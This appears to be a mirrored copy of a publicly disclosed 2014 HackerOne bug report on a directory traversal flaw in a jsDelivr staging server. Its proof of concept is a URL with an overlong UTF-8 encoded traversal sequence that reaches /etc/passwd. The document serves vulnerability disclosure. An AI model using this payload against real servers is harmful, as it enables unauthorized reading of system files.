HexBrain

jsDelivr · Report #18371

Directory Traversal at http://staging.jsdelivr.net/

Validstatus
4upvotes
20 Aug 2014disclosed

How it was found

hi,

Directory Traversal is a vulnerability which allows attackers to access restricted directories and execute commands outside of the web server's root directory.

POC: go this link ->

http://staging.jsdelivr.net//..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original